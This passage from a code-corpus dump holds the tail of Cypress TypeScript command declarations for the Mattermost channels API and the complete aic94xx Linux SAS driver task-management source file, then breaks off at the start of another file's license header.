https://api.mattermost.com/#tag/channels/paths/~1channels~1{channel_id}~1patch/put\n * @param {string} channelId - The channel ID to be patched\n * @param {Channel} channel - Channel object to be patched\n * @param {string} channel.name - The unique handle for the channel, will be present in the channel URL\n * @param {string} channel.display_name - The non-unique UI name for the channel\n * @param {string} channel.purpose - A short description of the purpose of the channel\n * @param {string} channel.header - Markdown-formatted text to display in the header of the channel\n * @returns {Channel} `out.channel` as `Channel`\n *\n * @example\n * cy.apiPatchChannel('channel-id', {name: 'new-name', display_name: 'New Display Name'});\n */\n apiPatchChannel(channelId: string, channel: Channel): Chainable;\n\n /**\n * Updates channel's privacy allowing changing a channel from Public to Private and back.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels~1{channel_id}~1privacy/put\n * @param {string} channelId - The channel ID to be patched\n * @param {string} privacy - The privacy the channel should be set too. P = Private, O = Open\n * @returns {Channel} `out.channel` as `Channel`\n *\n * @example\n * cy.apiPatchChannelPrivacy('channel-id', 'P');\n */\n apiPatchChannelPrivacy(channelId: string, privacy: string): Chainable;\n\n /**\n * Get channel from the provided channel id string.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels~1{channel_id}/get\n * @param {string} channelId - Channel ID\n * @returns {Channel} `out.channel` as `Channel`\n *\n * @example\n * cy.apiGetChannel('channel-id').then(({channel}) => {\n * // do something with channel\n * });\n */\n apiGetChannel(channelId: string): Chainable;\n\n /**\n * Gets a channel from the provided team name and channel name strings.\n * See https://api.mattermost.com/#tag/channels/paths/~1teams~1name~1{team_name}~1channels~1name~1{channel_name}/get\n * @param {string} teamName - Team name\n * @param {string} channelName - Channel name\n * @returns {Channel} `out.channel` as `Channel`\n *\n * @example\n * cy.apiGetChannelByName('team-name', 'channel-name').then(({channel}) => {\n * // do something with channel\n * });\n */\n apiGetChannelByName(teamName: string, channelName: string): Chainable;\n\n /**\n * Get a list of all channels.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels/get\n * @returns {Channel[]} `out.channels` as `Channel[]`\n *\n * @example\n * cy.apiGetAllChannels().then(({channels}) => {\n * // do something with channels\n * });\n */\n apiGetAllChannels(): Chainable;\n\n /**\n * Get channels for user.\n * See https://api.mattermost.com/#tag/channels/paths/~1users~1{user_id}~1teams~1{team_id}~1channels/get\n * @returns {Channel[]} `out.channels` as `Channel[]`\n *\n * @example\n * cy.apiGetChannelsForUser().then(({channels}) => {\n * // do something with channels\n * });\n */\n apiGetChannelsForUser(): Chainable;\n\n /**\n * Soft deletes a channel, by marking the channel as deleted in the database.\n * Soft deleted channels will not be accessible in the user interface.\n * Direct and group message channels cannot be deleted.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels~1{channel_id}/delete\n * @param {string} channelId - The channel ID to be deleted\n * @returns {Response} response: Cypress-chainable response which should have successful HTTP status of 200 OK to continue or pass.\n *\n * @example\n * cy.apiDeleteChannel('channel-id');\n */\n apiDeleteChannel(channelId: string): Chainable;\n\n /**\n * Add a user to a channel by creating a channel member object.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels~1{channel_id}~1members/post\n * @param {string} channelId - Channel ID\n * @param {string} userId - User ID to add to the channel\n * @returns {ChannelMembership} `out.member` as `ChannelMembership`\n *\n * @example\n * cy.apiAddUserToChannel('channel-id', 'user-id').then(({member}) => {\n * // do something with member\n * });\n */\n apiAddUserToChannel(channelId: string, userId: string): Chainable;\n }\n}\n"} +{"text": "/*\n * Aic94xx Task Management Functions\n *\n * Copyright (C) 2005 Adaptec, Inc. All rights reserved.\n * Copyright (C) 2005 Luben Tuikov \n *\n * This file is licensed under GPLv2.\n *\n * This file is part of the aic94xx driver.\n *\n * The aic94xx driver is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation; version 2 of the\n * License.\n *\n * The aic94xx driver is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with the aic94xx driver; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n */\n\n#include \n#include \n#include \"aic94xx.h\"\n#include \"aic94xx_sas.h\"\n#include \"aic94xx_hwi.h\"\n\n/* ---------- Internal enqueue ---------- */\n\nstatic int asd_enqueue_internal(struct asd_ascb *ascb,\n\t\tvoid (*tasklet_complete)(struct asd_ascb *,\n\t\t\t\t\t struct done_list_struct *),\n\t\t\t\tvoid (*timed_out)(unsigned long))\n{\n\tint res;\n\n\tascb->tasklet_complete = tasklet_complete;\n\tascb->uldd_timer = 1;\n\n\tascb->timer.data = (unsigned long) ascb;\n\tascb->timer.function = timed_out;\n\tascb->timer.expires = jiffies + AIC94XX_SCB_TIMEOUT;\n\n\tadd_timer(&ascb->timer);\n\n\tres = asd_post_ascb_list(ascb->ha, ascb, 1);\n\tif (unlikely(res))\n\t\tdel_timer(&ascb->timer);\n\treturn res;\n}\n\n/* ---------- CLEAR NEXUS ---------- */\n\nstruct tasklet_completion_status {\n\tint\tdl_opcode;\n\tint\ttmf_state;\n\tu8\ttag_valid:1;\n\t__be16\ttag;\n};\n\n#define DECLARE_TCS(tcs) \\\n\tstruct tasklet_completion_status tcs = { \\\n\t\t.dl_opcode = 0, \\\n\t\t.tmf_state = 0, \\\n\t\t.tag_valid = 0, \\\n\t\t.tag = 0, \\\n\t}\n\n\nstatic void asd_clear_nexus_tasklet_complete(struct asd_ascb *ascb,\n\t\t\t\t\t struct done_list_struct *dl)\n{\n\tstruct tasklet_completion_status *tcs = ascb->uldd_task;\n\tASD_DPRINTK(\"%s: here\\n\", __func__);\n\tif (!del_timer(&ascb->timer)) {\n\t\tASD_DPRINTK(\"%s: couldn't delete timer\\n\", __func__);\n\t\treturn;\n\t}\n\tASD_DPRINTK(\"%s: opcode: 0x%x\\n\", __func__, dl->opcode);\n\ttcs->dl_opcode = dl->opcode;\n\tcomplete(ascb->completion);\n\tasd_ascb_free(ascb);\n}\n\nstatic void asd_clear_nexus_timedout(unsigned long data)\n{\n\tstruct asd_ascb *ascb = (void *)data;\n\tstruct tasklet_completion_status *tcs = ascb->uldd_task;\n\n\tASD_DPRINTK(\"%s: here\\n\", __func__);\n\ttcs->dl_opcode = TMF_RESP_FUNC_FAILED;\n\tcomplete(ascb->completion);\n}\n\n#define CLEAR_NEXUS_PRE \\\n\tstruct asd_ascb *ascb; \\\n\tstruct scb *scb; \\\n\tint res; \\\n\tDECLARE_COMPLETION_ONSTACK(completion); \\\n\tDECLARE_TCS(tcs); \\\n\t\t\\\n\tASD_DPRINTK(\"%s: PRE\\n\", __func__); \\\n res = 1; \\\n\tascb = asd_ascb_alloc_list(asd_ha, &res, GFP_KERNEL); \\\n\tif (!ascb) \\\n\t\treturn -ENOMEM; \\\n \\\n\tascb->completion = &completion; \\\n\tascb->uldd_task = &tcs; \\\n\tscb = ascb->scb; \\\n\tscb->header.opcode = CLEAR_NEXUS\n\n#define CLEAR_NEXUS_POST \\\n\tASD_DPRINTK(\"%s: POST\\n\", __func__); \\\n\tres = asd_enqueue_internal(ascb, asd_clear_nexus_tasklet_complete, \\\n\t\t\t\t asd_clear_nexus_timedout); \\\n\tif (res) \\\n\t\tgoto out_err; \\\n\tASD_DPRINTK(\"%s: clear nexus posted, waiting...\\n\", __func__); \\\n\twait_for_completion(&completion); \\\n\tres = tcs.dl_opcode; \\\n\tif (res == TC_NO_ERROR) \\\n\t\tres = TMF_RESP_FUNC_COMPLETE; \\\n\treturn res; \\\nout_err: \\\n\tasd_ascb_free(ascb); \\\n\treturn res\n\nint asd_clear_nexus_ha(struct sas_ha_struct *sas_ha)\n{\n\tstruct asd_ha_struct *asd_ha = sas_ha->lldd_ha;\n\n\tCLEAR_NEXUS_PRE;\n\tscb->clear_nexus.nexus = NEXUS_ADAPTER;\n\tCLEAR_NEXUS_POST;\n}\n\nint asd_clear_nexus_port(struct asd_sas_port *port)\n{\n\tstruct asd_ha_struct *asd_ha = port->ha->lldd_ha;\n\n\tCLEAR_NEXUS_PRE;\n\tscb->clear_nexus.nexus = NEXUS_PORT;\n\tscb->clear_nexus.conn_mask = port->phy_mask;\n\tCLEAR_NEXUS_POST;\n}\n\nenum clear_nexus_phase {\n\tNEXUS_PHASE_PRE,\n\tNEXUS_PHASE_POST,\n\tNEXUS_PHASE_RESUME,\n};\n\nstatic int asd_clear_nexus_I_T(struct domain_device *dev,\n\t\t\t enum clear_nexus_phase phase)\n{\n\tstruct asd_ha_struct *asd_ha = dev->port->ha->lldd_ha;\n\n\tCLEAR_NEXUS_PRE;\n\tscb->clear_nexus.nexus = NEXUS_I_T;\n\tswitch (phase) {\n\tcase NEXUS_PHASE_PRE:\n\t\tscb->clear_nexus.flags = EXEC_Q | SUSPEND_TX;\n\t\tbreak;\n\tcase NEXUS_PHASE_POST:\n\t\tscb->clear_nexus.flags = SEND_Q | NOTINQ;\n\t\tbreak;\n\tcase NEXUS_PHASE_RESUME:\n\t\tscb->clear_nexus.flags = RESUME_TX;\n\t}\n\tscb->clear_nexus.conn_handle = cpu_to_le16((u16)(unsigned long)\n\t\t\t\t\t\t dev->lldd_dev);\n\tCLEAR_NEXUS_POST;\n}\n\nint asd_I_T_nexus_reset(struct domain_device *dev)\n{\n\tint res, tmp_res, i;\n\tstruct sas_phy *phy = sas_get_local_phy(dev);\n\t/* Standard mandates link reset for ATA (type 0) and\n\t * hard reset for SSP (type 1) */\n\tint reset_type = (dev->dev_type == SATA_DEV ||\n\t\t\t (dev->tproto & SAS_PROTOCOL_STP)) ? 0 : 1;\n\n\tasd_clear_nexus_I_T(dev, NEXUS_PHASE_PRE);\n\t/* send a hard reset */\n\tASD_DPRINTK(\"sending %s reset to %s\\n\",\n\t\t reset_type ? \"hard\" : \"soft\", dev_name(&phy->dev));\n\tres = sas_phy_reset(phy, reset_type);\n\tif (res == TMF_RESP_FUNC_COMPLETE || res == -ENODEV) {\n\t\t/* wait for the maximum settle time */\n\t\tmsleep(500);\n\t\t/* clear all outstanding commands (keep nexus suspended) */\n\t\tasd_clear_nexus_I_T(dev, NEXUS_PHASE_POST);\n\t}\n\tfor (i = 0 ; i < 3; i++) {\n\t\ttmp_res = asd_clear_nexus_I_T(dev, NEXUS_PHASE_RESUME);\n\t\tif (tmp_res == TC_RESUME)\n\t\t\tgoto out;\n\t\tmsleep(500);\n\t}\n\n\t/* This is a bit of a problem: the sequencer is still suspended\n\t * and is refusing to resume. Hope it will resume on a bigger hammer\n\t * or the disk is lost */\n\tdev_printk(KERN_ERR, &phy->dev,\n\t\t \"Failed to resume nexus after reset 0x%x\\n\", tmp_res);\n\n\tres = TMF_RESP_FUNC_FAILED;\n out:\n\tsas_put_local_phy(phy);\n\treturn res;\n}\n\nstatic int asd_clear_nexus_I_T_L(struct domain_device *dev, u8 *lun)\n{\n\tstruct asd_ha_struct *asd_ha = dev->port->ha->lldd_ha;\n\n\tCLEAR_NEXUS_PRE;\n\tscb->clear_nexus.nexus = NEXUS_I_T_L;\n\tscb->clear_nexus.flags = SEND_Q | EXEC_Q | NOTINQ;\n\tmemcpy(scb->clear_nexus.ssp_task.lun, lun, 8);\n\tscb->clear_nexus.conn_handle = cpu_to_le16((u16)(unsigned long)\n\t\t\t\t\t\t dev->lldd_dev);\n\tCLEAR_NEXUS_POST;\n}\n\nstatic int asd_clear_nexus_tag(struct sas_task *task)\n{\n\tstruct asd_ha_struct *asd_ha = task->dev->port->ha->lldd_ha;\n\tstruct asd_ascb *tascb = task->lldd_task;\n\n\tCLEAR_NEXUS_PRE;\n\tscb->clear_nexus.nexus = NEXUS_TAG;\n\tmemcpy(scb->clear_nexus.ssp_task.lun, task->ssp_task.LUN, 8);\n\tscb->clear_nexus.ssp_task.tag = tascb->tag;\n\tif (task->dev->tproto)\n\t\tscb->clear_nexus.conn_handle = cpu_to_le16((u16)(unsigned long)\n\t\t\t\t\t\t\t task->dev->lldd_dev);\n\tCLEAR_NEXUS_POST;\n}\n\nstatic int asd_clear_nexus_index(struct sas_task *task)\n{\n\tstruct asd_ha_struct *asd_ha = task->dev->port->ha->lldd_ha;\n\tstruct asd_ascb *tascb = task->lldd_task;\n\n\tCLEAR_NEXUS_PRE;\n\tscb->clear_nexus.nexus = NEXUS_TRANS_CX;\n\tif (task->dev->tproto)\n\t\tscb->clear_nexus.conn_handle = cpu_to_le16((u16)(unsigned long)\n\t\t\t\t\t\t\t task->dev->lldd_dev);\n\tscb->clear_nexus.index = cpu_to_le16(tascb->tc_index);\n\tCLEAR_NEXUS_POST;\n}\n\n/* ---------- TMFs ---------- */\n\nstatic void asd_tmf_timedout(unsigned long data)\n{\n\tstruct asd_ascb *ascb = (void *) data;\n\tstruct tasklet_completion_status *tcs = ascb->uldd_task;\n\n\tASD_DPRINTK(\"tmf timed out\\n\");\n\ttcs->tmf_state = TMF_RESP_FUNC_FAILED;\n\tcomplete(ascb->completion);\n}\n\nstatic int asd_get_tmf_resp_tasklet(struct asd_ascb *ascb,\n\t\t\t\t struct done_list_struct *dl)\n{\n\tstruct asd_ha_struct *asd_ha = ascb->ha;\n\tunsigned long flags;\n\tstruct tc_resp_sb_struct {\n\t\t__le16 index_escb;\n\t\tu8 len_lsb;\n\t\tu8 flags;\n\t} __attribute__ ((packed)) *resp_sb = (void *) dl->status_block;\n\n\tint edb_id = ((resp_sb->flags & 0x70) >> 4)-1;\n\tstruct asd_ascb *escb;\n\tstruct asd_dma_tok *edb;\n\tstruct ssp_frame_hdr *fh;\n\tstruct ssp_response_iu *ru;\n\tint res = TMF_RESP_FUNC_FAILED;\n\n\tASD_DPRINTK(\"tmf resp tasklet\\n\");\n\n\tspin_lock_irqsave(&asd_ha->seq.tc_index_lock, flags);\n\tescb = asd_tc_index_find(&asd_ha->seq,\n\t\t\t\t (int)le16_to_cpu(resp_sb->index_escb));\n\tspin_unlock_irqrestore(&asd_ha->seq.tc_index_lock, flags);\n\n\tif (!escb) {\n\t\tASD_DPRINTK(\"Uh-oh! No escb for this dl?!\\n\");\n\t\treturn res;\n\t}\n\n\tedb = asd_ha->seq.edb_arr[edb_id + escb->edb_index];\n\tascb->tag = *(__be16 *)(edb->vaddr+4);\n\tfh = edb->vaddr + 16;\n\tru = edb->vaddr + 16 + sizeof(*fh);\n\tres = ru->status;\n\tif (ru->datapres == 1)\t /* Response data present */\n\t\tres = ru->resp_data[3];\n#if 0\n\tascb->tag = fh->tag;\n#endif\n\tascb->tag_valid = 1;\n\n\tasd_invalidate_edb(escb, edb_id);\n\treturn res;\n}\n\nstatic void asd_tmf_tasklet_complete(struct asd_ascb *ascb,\n\t\t\t\t struct done_list_struct *dl)\n{\n\tstruct tasklet_completion_status *tcs;\n\n\tif (!del_timer(&ascb->timer))\n\t\treturn;\n\n\ttcs = ascb->uldd_task;\n\tASD_DPRINTK(\"tmf tasklet complete\\n\");\n\n\ttcs->dl_opcode = dl->opcode;\n\n\tif (dl->opcode == TC_SSP_RESP) {\n\t\ttcs->tmf_state = asd_get_tmf_resp_tasklet(ascb, dl);\n\t\ttcs->tag_valid = ascb->tag_valid;\n\t\ttcs->tag = ascb->tag;\n\t}\n\n\tcomplete(ascb->completion);\n\tasd_ascb_free(ascb);\n}\n\nstatic int asd_clear_nexus(struct sas_task *task)\n{\n\tint res = TMF_RESP_FUNC_FAILED;\n\tint leftover;\n\tstruct asd_ascb *tascb = task->lldd_task;\n\tDECLARE_COMPLETION_ONSTACK(completion);\n\tunsigned long flags;\n\n\ttascb->completion = &completion;\n\n\tASD_DPRINTK(\"task not done, clearing nexus\\n\");\n\tif (tascb->tag_valid)\n\t\tres = asd_clear_nexus_tag(task);\n\telse\n\t\tres = asd_clear_nexus_index(task);\n\tleftover = wait_for_completion_timeout(&completion,\n\t\t\t\t\t AIC94XX_SCB_TIMEOUT);\n\ttascb->completion = NULL;\n\tASD_DPRINTK(\"came back from clear nexus\\n\");\n\tspin_lock_irqsave(&task->task_state_lock, flags);\n\tif (leftover < 1)\n\t\tres = TMF_RESP_FUNC_FAILED;\n\tif (task->task_state_flags & SAS_TASK_STATE_DONE)\n\t\tres = TMF_RESP_FUNC_COMPLETE;\n\tspin_unlock_irqrestore(&task->task_state_lock, flags);\n\n\treturn res;\n}\n\n/**\n * asd_abort_task -- ABORT TASK TMF\n * @task: the task to be aborted\n *\n * Before calling ABORT TASK the task state flags should be ORed with\n * SAS_TASK_STATE_ABORTED (unless SAS_TASK_STATE_DONE is set) under\n * the task_state_lock IRQ spinlock, then ABORT TASK *must* be called.\n *\n * Implements the ABORT TASK TMF, I_T_L_Q nexus.\n * Returns: SAS TMF responses (see sas_task.h),\n * -ENOMEM,\n * -SAS_QUEUE_FULL.\n *\n * When ABORT TASK returns, the caller of ABORT TASK checks first the\n * task->task_state_flags, and then the return value of ABORT TASK.\n *\n * If the task has task state bit SAS_TASK_STATE_DONE set, then the\n * task was completed successfully prior to it being aborted. The\n * caller of ABORT TASK has responsibility to call task->task_done()\n * xor free the task, depending on their framework. The return code\n * is TMF_RESP_FUNC_FAILED in this case.\n *\n * Else the SAS_TASK_STATE_DONE bit is not set,\n * \tIf the return code is TMF_RESP_FUNC_COMPLETE, then\n * \t\tthe task was aborted successfully. The caller of\n * \t\tABORT TASK has responsibility to call task->task_done()\n * to finish the task, xor free the task depending on their\n *\t\tframework.\n *\telse\n * \t\tthe ABORT TASK returned some kind of error. The task\n * was _not_ cancelled. Nothing can be assumed.\n *\t\tThe caller of ABORT TASK may wish to retry.\n */\nint asd_abort_task(struct sas_task *task)\n{\n\tstruct asd_ascb *tascb = task->lldd_task;\n\tstruct asd_ha_struct *asd_ha = tascb->ha;\n\tint res = 1;\n\tunsigned long flags;\n\tstruct asd_ascb *ascb = NULL;\n\tstruct scb *scb;\n\tint leftover;\n\tDECLARE_TCS(tcs);\n\tDECLARE_COMPLETION_ONSTACK(completion);\n\tDECLARE_COMPLETION_ONSTACK(tascb_completion);\n\n\ttascb->completion = &tascb_completion;\n\n\tspin_lock_irqsave(&task->task_state_lock, flags);\n\tif (task->task_state_flags & SAS_TASK_STATE_DONE) {\n\t\tspin_unlock_irqrestore(&task->task_state_lock, flags);\n\t\tres = TMF_RESP_FUNC_COMPLETE;\n\t\tASD_DPRINTK(\"%s: task 0x%p done\\n\", __func__, task);\n\t\tgoto out_done;\n\t}\n\tspin_unlock_irqrestore(&task->task_state_lock, flags);\n\n\tascb = asd_ascb_alloc_list(asd_ha, &res, GFP_KERNEL);\n\tif (!ascb)\n\t\treturn -ENOMEM;\n\n\tascb->uldd_task = &tcs;\n\tascb->completion = &completion;\n\tscb = ascb->scb;\n\tscb->header.opcode = SCB_ABORT_TASK;\n\n\tswitch (task->task_proto) {\n\tcase SAS_PROTOCOL_SATA:\n\tcase SAS_PROTOCOL_STP:\n\t\tscb->abort_task.proto_conn_rate = (1 << 5); /* STP */\n\t\tbreak;\n\tcase SAS_PROTOCOL_SSP:\n\t\tscb->abort_task.proto_conn_rate = (1 << 4); /* SSP */\n\t\tscb->abort_task.proto_conn_rate |= task->dev->linkrate;\n\t\tbreak;\n\tcase SAS_PROTOCOL_SMP:\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\tif (task->task_proto == SAS_PROTOCOL_SSP) {\n\t\tscb->abort_task.ssp_frame.frame_type = SSP_TASK;\n\t\tmemcpy(scb->abort_task.ssp_frame.hashed_dest_addr,\n\t\t task->dev->hashed_sas_addr, HASHED_SAS_ADDR_SIZE);\n\t\tmemcpy(scb->abort_task.ssp_frame.hashed_src_addr,\n\t\t task->dev->port->ha->hashed_sas_addr,\n\t\t HASHED_SAS_ADDR_SIZE);\n\t\tscb->abort_task.ssp_frame.tptt = cpu_to_be16(0xFFFF);\n\n\t\tmemcpy(scb->abort_task.ssp_task.lun, task->ssp_task.LUN, 8);\n\t\tscb->abort_task.ssp_task.tmf = TMF_ABORT_TASK;\n\t\tscb->abort_task.ssp_task.tag = cpu_to_be16(0xFFFF);\n\t}\n\n\tscb->abort_task.sister_scb = cpu_to_le16(0xFFFF);\n\tscb->abort_task.conn_handle = cpu_to_le16(\n\t\t(u16)(unsigned long)task->dev->lldd_dev);\n\tscb->abort_task.retry_count = 1;\n\tscb->abort_task.index = cpu_to_le16((u16)tascb->tc_index);\n\tscb->abort_task.itnl_to = cpu_to_le16(ITNL_TIMEOUT_CONST);\n\n\tres = asd_enqueue_internal(ascb, asd_tmf_tasklet_complete,\n\t\t\t\t asd_tmf_timedout);\n\tif (res)\n\t\tgoto out_free;\n\twait_for_completion(&completion);\n\tASD_DPRINTK(\"tmf came back\\n\");\n\n\ttascb->tag = tcs.tag;\n\ttascb->tag_valid = tcs.tag_valid;\n\n\tspin_lock_irqsave(&task->task_state_lock, flags);\n\tif (task->task_state_flags & SAS_TASK_STATE_DONE) {\n\t\tspin_unlock_irqrestore(&task->task_state_lock, flags);\n\t\tres = TMF_RESP_FUNC_COMPLETE;\n\t\tASD_DPRINTK(\"%s: task 0x%p done\\n\", __func__, task);\n\t\tgoto out_done;\n\t}\n\tspin_unlock_irqrestore(&task->task_state_lock, flags);\n\n\tif (tcs.dl_opcode == TC_SSP_RESP) {\n\t\t/* The task to be aborted has been sent to the device.\n\t\t * We got a Response IU for the ABORT TASK TMF. */\n\t\tif (tcs.tmf_state == TMF_RESP_FUNC_COMPLETE)\n\t\t\tres = asd_clear_nexus(task);\n\t\telse\n\t\t\tres = tcs.tmf_state;\n\t} else if (tcs.dl_opcode == TC_NO_ERROR &&\n\t\t tcs.tmf_state == TMF_RESP_FUNC_FAILED) {\n\t\t/* timeout */\n\t\tres = TMF_RESP_FUNC_FAILED;\n\t} else {\n\t\t/* In the following we assume that the managing layer\n\t\t * will _never_ make a mistake, when issuing ABORT\n\t\t * TASK.\n\t\t */\n\t\tswitch (tcs.dl_opcode) {\n\t\tdefault:\n\t\t\tres = asd_clear_nexus(task);\n\t\t\t/* fallthrough */\n\t\tcase TC_NO_ERROR:\n\t\t\tbreak;\n\t\t\t/* The task hasn't been sent to the device xor\n\t\t\t * we never got a (sane) Response IU for the\n\t\t\t * ABORT TASK TMF.\n\t\t\t */\n\t\tcase TF_NAK_RECV:\n\t\t\tres = TMF_RESP_INVALID_FRAME;\n\t\t\tbreak;\n\t\tcase TF_TMF_TASK_DONE:\t/* done but not reported yet */\n\t\t\tres = TMF_RESP_FUNC_FAILED;\n\t\t\tleftover =\n\t\t\t\twait_for_completion_timeout(&tascb_completion,\n\t\t\t\t\t\t\t AIC94XX_SCB_TIMEOUT);\n\t\t\tspin_lock_irqsave(&task->task_state_lock, flags);\n\t\t\tif (leftover < 1)\n\t\t\t\tres = TMF_RESP_FUNC_FAILED;\n\t\t\tif (task->task_state_flags & SAS_TASK_STATE_DONE)\n\t\t\t\tres = TMF_RESP_FUNC_COMPLETE;\n\t\t\tspin_unlock_irqrestore(&task->task_state_lock, flags);\n\t\t\tbreak;\n\t\tcase TF_TMF_NO_TAG:\n\t\tcase TF_TMF_TAG_FREE: /* the tag is in the free list */\n\t\tcase TF_TMF_NO_CONN_HANDLE: /* no such device */\n\t\t\tres = TMF_RESP_FUNC_COMPLETE;\n\t\t\tbreak;\n\t\tcase TF_TMF_NO_CTX: /* not in seq, or proto != SSP */\n\t\t\tres = TMF_RESP_FUNC_ESUPP;\n\t\t\tbreak;\n\t\t}\n\t}\n out_done:\n\ttascb->completion = NULL;\n\tif (res == TMF_RESP_FUNC_COMPLETE) {\n\t\ttask->lldd_task = NULL;\n\t\tmb();\n\t\tasd_ascb_free(tascb);\n\t}\n\tASD_DPRINTK(\"task 0x%p aborted, res: 0x%x\\n\", task, res);\n\treturn res;\n\n out_free:\n\tasd_ascb_free(ascb);\n\tASD_DPRINTK(\"task 0x%p aborted, res: 0x%x\\n\", task, res);\n\treturn res;\n}\n\n/**\n * asd_initiate_ssp_tmf -- send a TMF to an I_T_L or I_T_L_Q nexus\n * @dev: pointer to struct domain_device of interest\n * @lun: pointer to u8[8] which is the LUN\n * @tmf: the TMF to be performed (see sas_task.h or the SAS spec)\n * @index: the transaction context of the task to be queried if QT TMF\n *\n * This function is used to send ABORT TASK SET, CLEAR ACA,\n * CLEAR TASK SET, LU RESET and QUERY TASK TMFs.\n *\n * No SCBs should be queued to the I_T_L nexus when this SCB is\n * pending.\n *\n * Returns: TMF response code (see sas_task.h or the SAS spec)\n */\nstatic int asd_initiate_ssp_tmf(struct domain_device *dev, u8 *lun,\n\t\t\t\tint tmf, int index)\n{\n\tstruct asd_ha_struct *asd_ha = dev->port->ha->lldd_ha;\n\tstruct asd_ascb *ascb;\n\tint res = 1;\n\tstruct scb *scb;\n\tDECLARE_COMPLETION_ONSTACK(completion);\n\tDECLARE_TCS(tcs);\n\n\tif (!(dev->tproto & SAS_PROTOCOL_SSP))\n\t\treturn TMF_RESP_FUNC_ESUPP;\n\n\tascb = asd_ascb_alloc_list(asd_ha, &res, GFP_KERNEL);\n\tif (!ascb)\n\t\treturn -ENOMEM;\n\n\tascb->completion = &completion;\n\tascb->uldd_task = &tcs;\n\tscb = ascb->scb;\n\n\tif (tmf == TMF_QUERY_TASK)\n\t\tscb->header.opcode = QUERY_SSP_TASK;\n\telse\n\t\tscb->header.opcode = INITIATE_SSP_TMF;\n\n\tscb->ssp_tmf.proto_conn_rate = (1 << 4); /* SSP */\n\tscb->ssp_tmf.proto_conn_rate |= dev->linkrate;\n\t/* SSP frame header */\n\tscb->ssp_tmf.ssp_frame.frame_type = SSP_TASK;\n\tmemcpy(scb->ssp_tmf.ssp_frame.hashed_dest_addr,\n\t dev->hashed_sas_addr, HASHED_SAS_ADDR_SIZE);\n\tmemcpy(scb->ssp_tmf.ssp_frame.hashed_src_addr,\n\t dev->port->ha->hashed_sas_addr, HASHED_SAS_ADDR_SIZE);\n\tscb->ssp_tmf.ssp_frame.tptt = cpu_to_be16(0xFFFF);\n\t/* SSP Task IU */\n\tmemcpy(scb->ssp_tmf.ssp_task.lun, lun, 8);\n\tscb->ssp_tmf.ssp_task.tmf = tmf;\n\n\tscb->ssp_tmf.sister_scb = cpu_to_le16(0xFFFF);\n\tscb->ssp_tmf.conn_handle= cpu_to_le16((u16)(unsigned long)\n\t\t\t\t\t dev->lldd_dev);\n\tscb->ssp_tmf.retry_count = 1;\n\tscb->ssp_tmf.itnl_to = cpu_to_le16(ITNL_TIMEOUT_CONST);\n\tif (tmf == TMF_QUERY_TASK)\n\t\tscb->ssp_tmf.index = cpu_to_le16(index);\n\n\tres = asd_enqueue_internal(ascb, asd_tmf_tasklet_complete,\n\t\t\t\t asd_tmf_timedout);\n\tif (res)\n\t\tgoto out_err;\n\twait_for_completion(&completion);\n\n\tswitch (tcs.dl_opcode) {\n\tcase TC_NO_ERROR:\n\t\tres = TMF_RESP_FUNC_COMPLETE;\n\t\tbreak;\n\tcase TF_NAK_RECV:\n\t\tres = TMF_RESP_INVALID_FRAME;\n\t\tbreak;\n\tcase TF_TMF_TASK_DONE:\n\t\tres = TMF_RESP_FUNC_FAILED;\n\t\tbreak;\n\tcase TF_TMF_NO_TAG:\n\tcase TF_TMF_TAG_FREE: /* the tag is in the free list */\n\tcase TF_TMF_NO_CONN_HANDLE: /* no such device */\n\t\tres = TMF_RESP_FUNC_COMPLETE;\n\t\tbreak;\n\tcase TF_TMF_NO_CTX: /* not in seq, or proto != SSP */\n\t\tres = TMF_RESP_FUNC_ESUPP;\n\t\tbreak;\n\tdefault:\n\t\t/* Allow TMF response codes to propagate upwards */\n\t\tres = tcs.dl_opcode;\n\t\tbreak;\n\t}\n\treturn res;\nout_err:\n\tasd_ascb_free(ascb);\n\treturn res;\n}\n\nint asd_abort_task_set(struct domain_device *dev, u8 *lun)\n{\n\tint res = asd_initiate_ssp_tmf(dev, lun, TMF_ABORT_TASK_SET, 0);\n\n\tif (res == TMF_RESP_FUNC_COMPLETE)\n\t\tasd_clear_nexus_I_T_L(dev, lun);\n\treturn res;\n}\n\nint asd_clear_aca(struct domain_device *dev, u8 *lun)\n{\n\tint res = asd_initiate_ssp_tmf(dev, lun, TMF_CLEAR_ACA, 0);\n\n\tif (res == TMF_RESP_FUNC_COMPLETE)\n\t\tasd_clear_nexus_I_T_L(dev, lun);\n\treturn res;\n}\n\nint asd_clear_task_set(struct domain_device *dev, u8 *lun)\n{\n\tint res = asd_initiate_ssp_tmf(dev, lun, TMF_CLEAR_TASK_SET, 0);\n\n\tif (res == TMF_RESP_FUNC_COMPLETE)\n\t\tasd_clear_nexus_I_T_L(dev, lun);\n\treturn res;\n}\n\nint asd_lu_reset(struct domain_device *dev, u8 *lun)\n{\n\tint res = asd_initiate_ssp_tmf(dev, lun, TMF_LU_RESET, 0);\n\n\tif (res == TMF_RESP_FUNC_COMPLETE)\n\t\tasd_clear_nexus_I_T_L(dev, lun);\n\treturn res;\n}\n\n/**\n * asd_query_task -- send a QUERY TASK TMF to an I_T_L_Q nexus\n * task: pointer to sas_task struct of interest\n *\n * Returns: TMF_RESP_FUNC_COMPLETE if the task is not in the task set,\n * or TMF_RESP_FUNC_SUCC if the task is in the task set.\n *\n * Normally the management layer sets the task to aborted state,\n * and then calls query task and then abort task.\n */\nint asd_query_task(struct sas_task *task)\n{\n\tstruct asd_ascb *ascb = task->lldd_task;\n\tint index;\n\n\tif (ascb) {\n\t\tindex = ascb->tc_index;\n\t\treturn asd_initiate_ssp_tmf(task->dev, task->ssp_task.LUN,\n\t\t\t\t\t TMF_QUERY_TASK, index);\n\t}\n\treturn TMF_RESP_FUNC_COMPLETE;\n}\n"} +{"text": "# Copyright 2015 Google Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance 